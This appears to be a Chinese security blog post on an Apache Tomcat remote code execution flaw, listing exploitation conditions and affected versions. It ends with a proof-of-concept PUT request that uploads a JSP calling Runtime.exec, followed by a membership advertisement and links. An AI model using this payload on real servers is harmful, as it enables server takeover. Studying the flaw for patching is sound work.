一、漏洞描述

Apache Tomcat 远程代码执行漏洞，该漏洞允许攻击者在特定条件下绕过Tomcat的大小写检查，上传恶意文件并执行远程代码，可能导致服务器被完全控制，数据泄露或服务中断。

二、利用条件

在Windows系统下启用PUT请求方式，并将readonly初始化参数设置为非默认值 false。在负载下并发读取和上传同一文件可以绕过 Tomcat 的大小写检查，导致上传的文件将其视为 JSP，从而导致远程代码执行。

三、影响版本

11.0.0-M1 <= Apache Tomcat < 11.0.2

10.1.0-M1 <= Apache Tomcat < 10.1.34

9.0.0.M1 <= Apache Tomcat < 9.0.98

四、漏洞POC

并发读取和上传同一文件

PUT /d.Jsp·HTTP/1.1Content-Type:application/jsonHost:
aa<%·Runtime.getRuntime().exec("calc.exe");%>

GET /d.jsp HTTP/1.1Content-Type:application/jsonHost:

如果你是一个长期主义者，欢迎加入我的知识星球，我们一起往前走，每日都会更新，精细化运营，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款

往期回顾

一款bp神器

ssrf绕过新思路

一个辅助测试ssrf的工具

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

参考：

https://mp.weixin.qq.com/s/mh23G7oNJ-XsJRUbHWnmlg

https://mp.weixin.qq.com/s?__biz=MzIzNDU5Mzk2OQ==&mid=2247486318&idx=1&sn=93c203e68a7de391e374b0a3cfb18297